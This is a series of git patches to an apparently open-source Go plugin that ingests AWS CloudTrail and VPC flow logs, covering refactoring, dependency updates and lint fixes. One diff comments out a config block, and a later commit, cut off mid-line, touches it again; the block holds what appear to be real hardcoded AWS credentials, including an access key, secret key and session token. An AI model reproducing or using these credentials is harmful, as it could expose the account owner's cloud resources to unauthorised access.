getObjectOutput.Body.Close() - // - //data, err := io.ReadAll(getObjectOutput.Body) - //if err != nil { - // return fmt.Errorf("failed to read artifact data, %w", err) - //} - // - //for _, observer := range s.observers { - // observer.NotifyArtifactDownloaded(&source.Artifact{ArtifactInfo: *ai, Data: data}) - //} - - return nil -} diff --git a/aws_source/s3_bucket_source_test.go b/aws_source/s3_bucket_source_test.go deleted file mode 100644 index eacb7994..00000000 --- a/aws_source/s3_bucket_source_test.go +++ /dev/null @@ -1,12 +0,0 @@ -package aws_source - -// -//import ( -// "testing" -// -// "github.com/turbot/tailpipe-plugin-sdk/source" -//) -// -//func TestConformance(t *testing.T) { -// source.RunConformanceTests(t, &AwsS3BucketSource{}) -//} diff --git a/go.mod b/go.mod index e51d4286..10fdb073 100644 --- a/go.mod +++ b/go.mod @@ -14,6 +14,24 @@ require ( github.com/Masterminds/semver/v3 v3.2.1 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect github.com/aws/aws-sdk-go v1.44.183 // indirect + github.com/aws/aws-sdk-go-v2 v1.30.3 // indirect + github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3 // indirect + github.com/aws/aws-sdk-go-v2/config v1.27.26 // indirect + github.com/aws/aws-sdk-go-v2/credentials v1.17.26 // indirect + github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.15 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.15 // indirect + github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect + github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.17 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.15 // indirect + github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.22.3 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 // indirect + github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 // indirect + github.com/aws/smithy-go v1.20.3 // indirect github.com/btubbs/datetime v0.1.1 // indirect github.com/fatih/color v1.15.0 // indirect github.com/gertd/go-pluralize v0.2.1 // indirect diff --git a/go.sum b/go.sum index 2dd31941..10cdd116 100644 --- a/go.sum +++ b/go.sum @@ -4,6 +4,42 @@ github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpH github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo= github.com/aws/aws-sdk-go v1.44.183 h1:mUk45JZTIMMg9m8GmrbvACCsIOKtKezXRxp06uI5Ahk= github.com/aws/aws-sdk-go v1.44.183/go.mod h1:aVsgQcEevwlmQ7qHE9I3h+dtQgpqhFB+i8Phjh7fkwI= +github.com/aws/aws-sdk-go-v2 v1.30.3 h1:jUeBtG0Ih+ZIFH0F4UkmL9w3cSpaMv9tYYDbzILP8dY= +github.com/aws/aws-sdk-go-v2 v1.30.3/go.mod h1:nIQjQVp5sfpQcTc9mPSr1B0PaWK5ByX9MOoDadSN4lc= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3 h1:tW1/Rkad38LA15X4UQtjXZXNKsCgkshC3EbmcUmghTg= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3/go.mod h1:UbnqO+zjqk3uIt9yCACHJ9IVNhyhOCnYk8yA19SAWrM= +github.com/aws/aws-sdk-go-v2/config v1.27.26 h1:T1kAefbKuNum/AbShMsZEro6eRkeOT8YILfE9wyjAYQ= +github.com/aws/aws-sdk-go-v2/config v1.27.26/go.mod h1:ivWHkAWFrw/nxty5Fku7soTIVdqZaZ7dw+tc5iGW3GA= +github.com/aws/aws-sdk-go-v2/credentials v1.17.26 h1:tsm8g/nJxi8+/7XyJJcP2dLrnK/5rkFp6+i2nhmz5fk= +github.com/aws/aws-sdk-go-v2/credentials v1.17.26/go.mod h1:3vAM49zkIa3q8WT6o9Ve5Z0vdByDMwmdScO0zvThTgI= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11 h1:KreluoV8FZDEtI6Co2xuNk/UqI9iwMrOx/87PBNIKqw= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11/go.mod h1:SeSUYBLsMYFoRvHE0Tjvn7kbxaUhl75CJi1sbfhMxkU= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.15 h1:SoNJ4RlFEQEbtDcCEt+QG56MY4fm4W8rYirAmq+/DdU= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.15/go.mod h1:U9ke74k1n2bf+RIgoX1SXFed1HLs51OgUSs+Ph0KJP8= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.15 h1:C6WHdGnTDIYETAm5iErQUiVNsclNx9qbJVPIt03B6bI= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.15/go.mod h1:ZQLZqhcu+JhSrA9/NXRm8SkDvsycE+JkV3WGY41e+IM= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 h1:Z5r7SycxmSllHYmaAZPpmN8GviDrSGhMS6bldqtXZPw= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15/go.mod h1:CetW7bDE00QoGEmPUoZuRog07SGVAUVW6LFpNP0YfIg= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3 h1:dT3MqvGhSoaIhRseqw2I0yH81l7wiR2vjs57O51EAm8= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3/go.mod h1:GlAeCkHwugxdHaueRr4nhPuY+WW+gR8UjlcqzPr1SPI= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17 h1:YPYe6ZmvUfDDDELqEKtAd6bo8zxhkm+XEFEzQisqUIE= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17/go.mod h1:oBtcnYua/CgzCWYN7NZ5j7PotFDaFSUjCYVTtfyn7vw= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.17 h1:HGErhhrxZlQ044RiM+WdoZxp0p+EGM62y3L6pwA4olE= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.17/go.mod h1:RkZEx4l0EHYDJpWppMJ3nD9wZJAa8/0lq9aVC+r2UII= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.15 h1:246A4lSTXWJw/rmlQI+TT2OcqeDMKBdyjEQrafMaQdA= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.15/go.mod h1:haVfg3761/WF7YPuJOER2MP0k4UAXyHaLclKXB6usDg= +github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2 h1:sZXIzO38GZOU+O0C+INqbH7C2yALwfMWpd64tONS/NE= +github.com/aws/aws-sdk-go-v2/service/s3 v1.58.2/go.mod h1:Lcxzg5rojyVPU/0eFwLtcyTaek/6Mtic5B1gJo7e/zE= +github.com/aws/aws-sdk-go-v2/service/sso v1.22.3 h1:Fv1vD2L65Jnp5QRsdiM64JvUM4Xe+E0JyVsRQKv6IeA= +github.com/aws/aws-sdk-go-v2/service/sso v1.22.3/go.mod h1:ooyCOXjvJEsUw7x+ZDHeISPMhtwI3ZCB7ggFMcFfWLU= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 h1:yiwVzJW2ZxZTurVbYWA7QOrAaCYQR72t0wrSBfoesUE= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4/go.mod h1:0oxfLkpz3rQ/CHlx5hB7H69YUpFiI1tql6Q6Ne+1bCw= +github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 h1:ZsDKRLXGWHk8WdtyYMoGNO7bTudrvuKpDKgMVRlepGE= +github.com/aws/aws-sdk-go-v2/service/sts v1.30.3/go.mod h1:zwySh8fpFyXp9yOr/KVzxOl8SRqgf/IDw5aUt9UKFcQ= +github.com/aws/smithy-go v1.20.3 h1:ryHwveWzPV5BIof6fyDvor6V3iUL7nTfiTKXHiW05nE= +github.com/aws/smithy-go v1.20.3/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= github.com/btubbs/datetime v0.1.1 h1:KuV+F9tyq/hEnezmKZNGk8dzqMVsId6EpFVrQCfA3To= github.com/btubbs/datetime v0.1.1/go.mod h1:n2BZ/2ltnRzNiz27aE3wUb2onNttQdC+WFxAoks5jJM= github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= From f1910f2aea5fe4f3894aba1456b84256f4434fa3 Mon Sep 17 00:00:00 2001 From: kai Date: Fri, 12 Jul 2024 13:02:05 +0100 Subject: [PATCH 013/180] implement simplified artifact loader/mapper --- aws_collection/cloudtrail_log_collection.go | 12 ++-- aws_collection/flowlog_log_collection.go | 72 ++++++--------------- aws_source/cloudtrail_extractor_sink.go | 53 --------------- aws_source/cloudtrail_mapper.go | 30 +++++++++ 4 files changed, 56 insertions(+), 111 deletions(-) delete mode 100644 aws_source/cloudtrail_extractor_sink.go create mode 100644 aws_source/cloudtrail_mapper.go diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index ee6f4319..acbed841 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -61,16 +61,16 @@ func (c *CloudTrailLogCollection) Init(config any) error { func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfig) (plugin.RowSource, error) { sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths, Extensions: []string{".gz"}} + artifactSource := artifact.NewFileSystemSource(sourceConfig) - artifactExtractors := []artifact.Extractor{ - // gzip extractor with ExtractObject strategy - artifact.NewGzipExtractorSource(artifactSource, artifact.ExtractObject), - aws_source.NewCloudtrailExtractorSink(), - } + artifactLoader := artifact.NewGzipExtractorSource(artifact.ExtractObject) + artifactMapper := aws_source.NewCloudtrailMapper() var source, err = row_source.NewArtifactRowSource( artifactSource, - artifactExtractors...) + artifactLoader, + artifactMapper, + ) if err != nil { return nil, fmt.Errorf("error creating artifact row source: %w", err) diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index 92846801..0c8de201 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -58,54 +58,31 @@ func (c *FlowlogLogCollection) Init(config any) error { return nil } -// -//// TEMP - this will actually parse (or the base will) -// -//// todo - parse config -//c.Config = config.(FlowLogCollectionConfig) -// -//// init the config - this defaults the field list -//if c.Config.Fields == nil { -// c.Config.Fields = DefaultFlowLogFields -//} -// -//// todo create source from config -//sourceConfig := aws_source.CompressedFileSourceConfig{Paths: c.Config.Paths} -//var source = aws_source.NewFlowlogCompressedFileSource(sourceConfig) -//// todo do this from base??? -//c.AddSource(source) -// -//return nil -//} - func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugin.RowSource, error) { - //sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths,Extensions: []string{".gz"}} - //artifactSource := artifact.NewFileSystemSource(sourceConfig) - // - - sourceConfig := &artifact.AwsS3BucketSourceConfig{ - Bucket: "silverwater-flowlog-s3-bucket", - Extensions: []string{".gz"}, - AccessKey: "ASIARNKUQPUTSWALT7IS", - SecretKey: "7rXEgyZPlfkWTbT1sRdDc5BYmaMSm8qgi5qJHWXN", - SessionToken: "IQoJb3JpZ2luX2VjEJf//////////wEaCXVzLWVhc3QtMiJIMEYCIQDqRA+V28K3t0YzcJzHaqHdIAP+JELGxb9PkoWWxAg6nwIhAPS6DnfSrfKHsqIuxoiKI3r6E41YXj+x5ZdLMVEHTw3iKoYDCGAQAxoMMDk3MzUwODc2NDU1IgzoOk1UsaFJN2M12LAq4wIxqdMvGJVUiKihwxoBSF07d0HGfm3fiDlFukeBvE16D8eoaSzFFbEuUFqeSe0qH49qcdGKqG+QzqCUpnfanRRMpSQUr9D82dp1Xy0XEN6LQXV8oNz4XUBfjZCy2Uwti7fabkzxox8AO6jejDJ16lK9Mn/g5M3nt+kxgb4lcde65oUyVu1mho8HVskByf4Zxb7koEcniw3JWo5ngzPFuy5iWlRU95g2cxQyqueehnk2s4AoPHNsPn8fPjZmCK3dkhy0Z2cMgQDQT3O7X0G+mYmcpl4dtT9DaIn9Zw81imFU3hzDL0PfqrHOFzfKrFTePVVVcK3kSOKyYBLPmx9c6Lc5IlCRMZQZ5F4JVz5MQryMstbyoz8xMLN8iWv8U49LrGSmp1KgZgNy3LNyRAKo0D4CDRe/6TBzDjk/+xGTioHXC5POjtwdAk9Ylx306I7rxDlP8TLMlx+9OFPYdAp+Jz7xel9ZMLrvv7QGOqUBiEktNKF4MdyONoymioyqbyc2ESmyApWcxRrL3XIKUyyZHJ2VAd5R4YSRZlTUSUHP0CEKdI62qNtg4ZOC4Eo6HsZWXqnYCSkMC0NAPwi2MvkbIjsZRpeOkx+o+UQP59M6QOUQJhPO+gih2vxN7XN8iTMT88ozjtiViHn8uPo0Emepiv8sGZd6V+RMaR4d8IoMvhvfVsLYSgemeF3f71SY/UK65bTJ", - } - artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) - if err != nil { - return nil, fmt.Errorf("error creating s3 bucket source: %w", err) - } + //sourceConfig := &artifact.AwsS3BucketSourceConfig{ + // Bucket: "silverwater-flowlog-s3-bucket", + // Extensions: []string{".gz"}, + // AccessKey: "ASIARNKUQPUTSWALT7IS", + // SecretKey: "7rXEgyZPlfkWTbT1sRdDc5BYmaMSm8qgi5qJHWXN", + // SessionToken: "IQoJb3JpZ2luX2VjEJf//////////wEaCXVzLWVhc3QtMiJIMEYCIQDqRA+V28K3t0YzcJzHaqHdIAP+JELGxb9PkoWWxAg6nwIhAPS6DnfSrfKHsqIuxoiKI3r6E41YXj+x5ZdLMVEHTw3iKoYDCGAQAxoMMDk3MzUwODc2NDU1IgzoOk1UsaFJN2M12LAq4wIxqdMvGJVUiKihwxoBSF07d0HGfm3fiDlFukeBvE16D8eoaSzFFbEuUFqeSe0qH49qcdGKqG+QzqCUpnfanRRMpSQUr9D82dp1Xy0XEN6LQXV8oNz4XUBfjZCy2Uwti7fabkzxox8AO6jejDJ16lK9Mn/g5M3nt+kxgb4lcde65oUyVu1mho8HVskByf4Zxb7koEcniw3JWo5ngzPFuy5iWlRU95g2cxQyqueehnk2s4AoPHNsPn8fPjZmCK3dkhy0Z2cMgQDQT3O7X0G+mYmcpl4dtT9DaIn9Zw81imFU3hzDL0PfqrHOFzfKrFTePVVVcK3kSOKyYBLPmx9c6Lc5IlCRMZQZ5F4JVz5MQryMstbyoz8xMLN8iWv8U49LrGSmp1KgZgNy3LNyRAKo0D4CDRe/6TBzDjk/+xGTioHXC5POjtwdAk9Ylx306I7rxDlP8TLMlx+9OFPYdAp+Jz7xel9ZMLrvv7QGOqUBiEktNKF4MdyONoymioyqbyc2ESmyApWcxRrL3XIKUyyZHJ2VAd5R4YSRZlTUSUHP0CEKdI62qNtg4ZOC4Eo6HsZWXqnYCSkMC0NAPwi2MvkbIjsZRpeOkx+o+UQP59M6QOUQJhPO+gih2vxN7XN8iTMT88ozjtiViHn8uPo0Emepiv8sGZd6V+RMaR4d8IoMvhvfVsLYSgemeF3f71SY/UK65bTJ", + //} + // + //artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) + //if err != nil { + // return nil, fmt.Errorf("error creating s3 bucket source: %w", err) + //} - artifactExtractors := []artifact.Extractor{ - // gzip extractor with ExtractRows strategy - artifact.NewGzipExtractorSource(artifactSource, artifact.ExtractRows), - artifact.NewTransparentExtractorSink(), - } + artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ + Paths: config.Paths, + Extensions: []string{".gz"}, + }) + artifactLoader := artifact.NewGzipExtractorSource(artifact.ExtractRows) source, err := row_source.NewArtifactRowSource( artifactSource, - artifactExtractors...) - + artifactLoader, + ) if err != nil { return nil, fmt.Errorf("error creating artifact row source: %w", err) } @@ -137,16 +114,7 @@ func (c *FlowlogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrich record.CommonFields = *sourceEnrichmentFields } - /* required fields */ - /// GetConnection() string - //// GetYear() int - //// GetMonth() int - //// GetDay() int - //// GetTpID() string - //// GetTpTimestamp() int64 - // - - //// Record standardization + // Record standardization record.TpID = xid.New().String() // TODO is source type actually the source, i.e compressed file source etc> diff --git a/aws_source/cloudtrail_extractor_sink.go b/aws_source/cloudtrail_extractor_sink.go deleted file mode 100644 index 7fac8091..00000000 --- a/aws_source/cloudtrail_extractor_sink.go +++ /dev/null @@ -1,53 +0,0 @@ -package aws_source - -import ( - "context" - "fmt" - "github.com/turbot/tailpipe-plugin-aws/aws_types" - "github.com/turbot/tailpipe-plugin-sdk/artifact" - "github.com/turbot/tailpipe-plugin-sdk/events" - "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// CloudtrailExtractorSink is an ExtractorSinkBase that receives AWSCloudTrailBatch objects and extracts rows from them -type CloudtrailExtractorSink struct { - artifact.ExtractorSinkBase -} - -// NewCloudtrailExtractorSink creates a new CloudtrailExtractorSink -func NewCloudtrailExtractorSink() *CloudtrailExtractorSink { - return &CloudtrailExtractorSink{} -} - -// Notify implements observable.Observer -func (s *CloudtrailExtractorSink) Notify(event events.Event) error { - switch e := event.(type) { - case *events.ArtifactExtracted: - return s.ExtractArtifactRows(context.Background(), e.Request, e.Artifact) - default: - return fmt.Errorf("CloudtrailExtractorSink received unexpected event type: %T", e) - } -} - -func (c *CloudtrailExtractorSink) ExtractArtifactRows(ctx context.Context, req *proto.CollectRequest, a *types.Artifact) error { - log, ok := a.Data.(*aws_types.AWSCloudTrailBatch) - if !ok { - return fmt.Errorf("expected AWSCloudTrailBatch, got %T", a.Data) - } - - for _, record := range log.Records { - // check context cancellation - if ctx.Err() != nil { - return ctx.Err() - } - - // call base OnRow - err := c.OnRow(req, record, a.EnrichmentFields) - if err != nil { - return fmt.Errorf("error sending row: %w", err) - } - } - - return nil -} diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go new file mode 100644 index 00000000..901cb043 --- /dev/null +++ b/aws_source/cloudtrail_mapper.go @@ -0,0 +1,30 @@ +package aws_source + +import ( + "context" + "fmt" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" +) + +// CloudtrailMapper is an Mapper that receives AWSCloudTrailBatch objects and extracts rows from them +type CloudtrailMapper struct { +} + +// NewCloudtrailMapper creates a new CloudtrailMapper +func NewCloudtrailMapper() *CloudtrailMapper { + return &CloudtrailMapper{} +} + +// Map casts the data item as an AWSCloudTrailBatch and returns the records +func (c *CloudtrailMapper) Map(ctx context.Context, req *proto.CollectRequest, a any) ([]any, error) { + log, ok := a.(*aws_types.AWSCloudTrailBatch) + if !ok { + return nil, fmt.Errorf("expected AWSCloudTrailBatch, got %T", a) + } + var res = make([]any, len(log.Records)) + for i, record := range log.Records { + res[i] = record + } + return res, nil +} From 98a2bf7a9f898557cd5f05dcbb1322f6baf01864 Mon Sep 17 00:00:00 2001 From: kai Date: Fri, 12 Jul 2024 17:40:30 +0100 Subject: [PATCH 014/180] artifact source and mapper working --- aws_collection/cloudtrail_log_collection.go | 2 +- aws_collection/flowlog_log_collection.go | 2 +- aws_source/cloudtrail_mapper.go | 8 +++++++- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index acbed841..55014531 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -63,7 +63,7 @@ func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfi sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths, Extensions: []string{".gz"}} artifactSource := artifact.NewFileSystemSource(sourceConfig) - artifactLoader := artifact.NewGzipExtractorSource(artifact.ExtractObject) + artifactLoader := artifact.NewGzipObjectLoader[*aws_types.AWSCloudTrailBatch]() artifactMapper := aws_source.NewCloudtrailMapper() var source, err = row_source.NewArtifactRowSource( diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index 0c8de201..19eee3df 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -77,7 +77,7 @@ func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugi Paths: config.Paths, Extensions: []string{".gz"}, }) - artifactLoader := artifact.NewGzipExtractorSource(artifact.ExtractRows) + artifactLoader := artifact.NewGzipRowLoader() source, err := row_source.NewArtifactRowSource( artifactSource, diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go index 901cb043..25d85b48 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/aws_source/cloudtrail_mapper.go @@ -5,9 +5,10 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" + "log/slog" ) -// CloudtrailMapper is an Mapper that receives AWSCloudTrailBatch objects and extracts rows from them +// CloudtrailMapper is an Mapper that receives AWSCloudTrailBatch objects and extracts AWSCloudTrail records from them type CloudtrailMapper struct { } @@ -16,12 +17,17 @@ func NewCloudtrailMapper() *CloudtrailMapper { return &CloudtrailMapper{} } +func (c *CloudtrailMapper) Identifier() string { + return "cloudtrail_mapper" +} + // Map casts the data item as an AWSCloudTrailBatch and returns the records func (c *CloudtrailMapper) Map(ctx context.Context, req *proto.CollectRequest, a any) ([]any, error) { log, ok := a.(*aws_types.AWSCloudTrailBatch) if !ok { return nil, fmt.Errorf("expected AWSCloudTrailBatch, got %T", a) } + slog.Debug("CloudtrailMapper", "record count", len(log.Records)) var res = make([]any, len(log.Records)) for i, record := range log.Records { res[i] = record From eba40a9485883e13314e91308ee3390e1869dc2a Mon Sep 17 00:00:00 2001 From: kai Date: Fri, 12 Jul 2024 18:03:21 +0100 Subject: [PATCH 015/180] Readd Identifier to Collection --- aws_collection/cloudtrail_log_collection.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 55014531..e57590bd 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -35,6 +35,11 @@ func NewCloudTrailLogCollection() plugin.Collection { return c } +// Identifier implements Collection +func (c *CloudTrailLogCollection) Identifier() string { + return "aws_cloudtrail_log" +} + // GetRowStruct implements Collection // return an instance of the row struct func (c *CloudTrailLogCollection) GetRowStruct() any { @@ -79,11 +84,6 @@ func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfi return source, nil } -// Identifier implements Collection -func (c *CloudTrailLogCollection) Identifier() string { - return "aws_cloudtrail_log" -} - // EnrichRow implements RowEnricher func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be an AWSCloudTrail From 882f2b64d99d690842759761e90dcf64e6a236e8 Mon Sep 17 00:00:00 2001 From: kai Date: Mon, 15 Jul 2024 11:46:57 +0100 Subject: [PATCH 016/180] linting fixes --- aws/plugin.go | 27 +++++++++++++++----- aws_collection/cloudtrail_log_collection.go | 4 +-- aws_collection/flow_log_collection_config.go | 2 +- aws_collection/flowlog_log_collection.go | 4 +-- aws_types/aws_flowlog.go | 1 + main.go | 7 ++++- 6 files changed, 30 insertions(+), 15 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 575c9c77..dad96b37 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -21,7 +21,10 @@ func NewPlugin() (plugin.TailpipePlugin, error) { time.Sleep(10 * time.Second) slog.Info("YAWN") // register collections which we support - p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewFlowlogLogCollection) + err := p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewFlowlogLogCollection) + if err != nil { + return nil, err + } return p, nil } @@ -34,12 +37,17 @@ func (t *Plugin) Collect(req *proto.CollectRequest) error { log.Println("[INFO] Collect") // TODO can we do this in base - go t.doCollect(context.Background(), req) + go func() { + if err := t.doCollect(context.Background(), req); err != nil { + // TODO #err handle error + slog.Error("doCollect failed", "error", err) + } + }() return nil } -func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { +func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) error { var col plugin.Collection var config any @@ -79,17 +87,22 @@ func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { } // TEMP call init - col.Init(config) + if err := col.Init(config); err != nil { + // TODO #err handle error + slog.Error("init error", "error", err) + } // add ourselves as an observer - col.AddObserver(t) + if err := col.AddObserver(t); err != nil { + // TODO #err handle error + slog.Error("add observer error", "error", err) + } // signal we have started - t.OnStarted(req) // tell the collection to start collecting - this is a blocking call err := col.Collect(ctx, req) // signal we have completed - pass error if there was one - t.OnComplete(req, err) + return t.OnCompleted(req, err) } diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index e57590bd..6bcbc880 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -59,9 +59,7 @@ func (c *CloudTrailLogCollection) Init(config any) error { if err != nil { return err } - c.AddSource(source) - - return nil + return c.AddSource(source) } func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfig) (plugin.RowSource, error) { diff --git a/aws_collection/flow_log_collection_config.go b/aws_collection/flow_log_collection_config.go index 18894ec7..68678f66 100644 --- a/aws_collection/flow_log_collection_config.go +++ b/aws_collection/flow_log_collection_config.go @@ -22,5 +22,5 @@ type FlowLogCollectionConfig struct { Paths []string `hcl:"paths"` // the fields to extract from the flow log - Fields []string `hcl "fields"` + Fields []string `hcl:"fields"` } diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index 19eee3df..e91b7df7 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -53,9 +53,7 @@ func (c *FlowlogLogCollection) Init(config any) error { if err != nil { return err } - c.AddSource(source) - - return nil + return c.AddSource(source) } func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugin.RowSource, error) { diff --git a/aws_types/aws_flowlog.go b/aws_types/aws_flowlog.go index 452780e1..48dfb72b 100644 --- a/aws_types/aws_flowlog.go +++ b/aws_types/aws_flowlog.go @@ -12,6 +12,7 @@ import ( type FlowLog struct { // embed required enrichment fields (be sure to skip in parquet) enrichment.CommonFields `parquet:"-"` + Timestamp *time.Time `json:"timestamp,omitempty"` Version *int32 `json:"version,omitempty"` AccountID *string `json:"account_id,omitempty"` diff --git a/main.go b/main.go index 9800d5de..f4d7a863 100644 --- a/main.go +++ b/main.go @@ -3,10 +3,15 @@ package main import ( "github.com/turbot/tailpipe-plugin-aws/aws" "github.com/turbot/tailpipe-plugin-sdk/plugin" + "log/slog" ) func main() { - plugin.Serve(&plugin.ServeOpts{ + err := plugin.Serve(&plugin.ServeOpts{ PluginFunc: aws.NewPlugin, }) + + if err != nil { + slog.Error("Error starting plugin", "error", err) + } } From ea7c1798000f44741bca8165290a51572bc80fbd Mon Sep 17 00:00:00 2001 From: kai Date: Mon, 15 Jul 2024 16:22:34 +0100 Subject: [PATCH 017/180] adding support for cloudwatch source --- aws_collection/flowlog_log_collection.go | 14 +++++++++++--- go.mod | 2 ++ go.sum | 4 ++++ 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index e91b7df7..22800824 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -61,9 +61,9 @@ func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugi //sourceConfig := &artifact.AwsS3BucketSourceConfig{ // Bucket: "silverwater-flowlog-s3-bucket", // Extensions: []string{".gz"}, - // AccessKey: "ASIARNKUQPUTSWALT7IS", - // SecretKey: "7rXEgyZPlfkWTbT1sRdDc5BYmaMSm8qgi5qJHWXN", - // SessionToken: 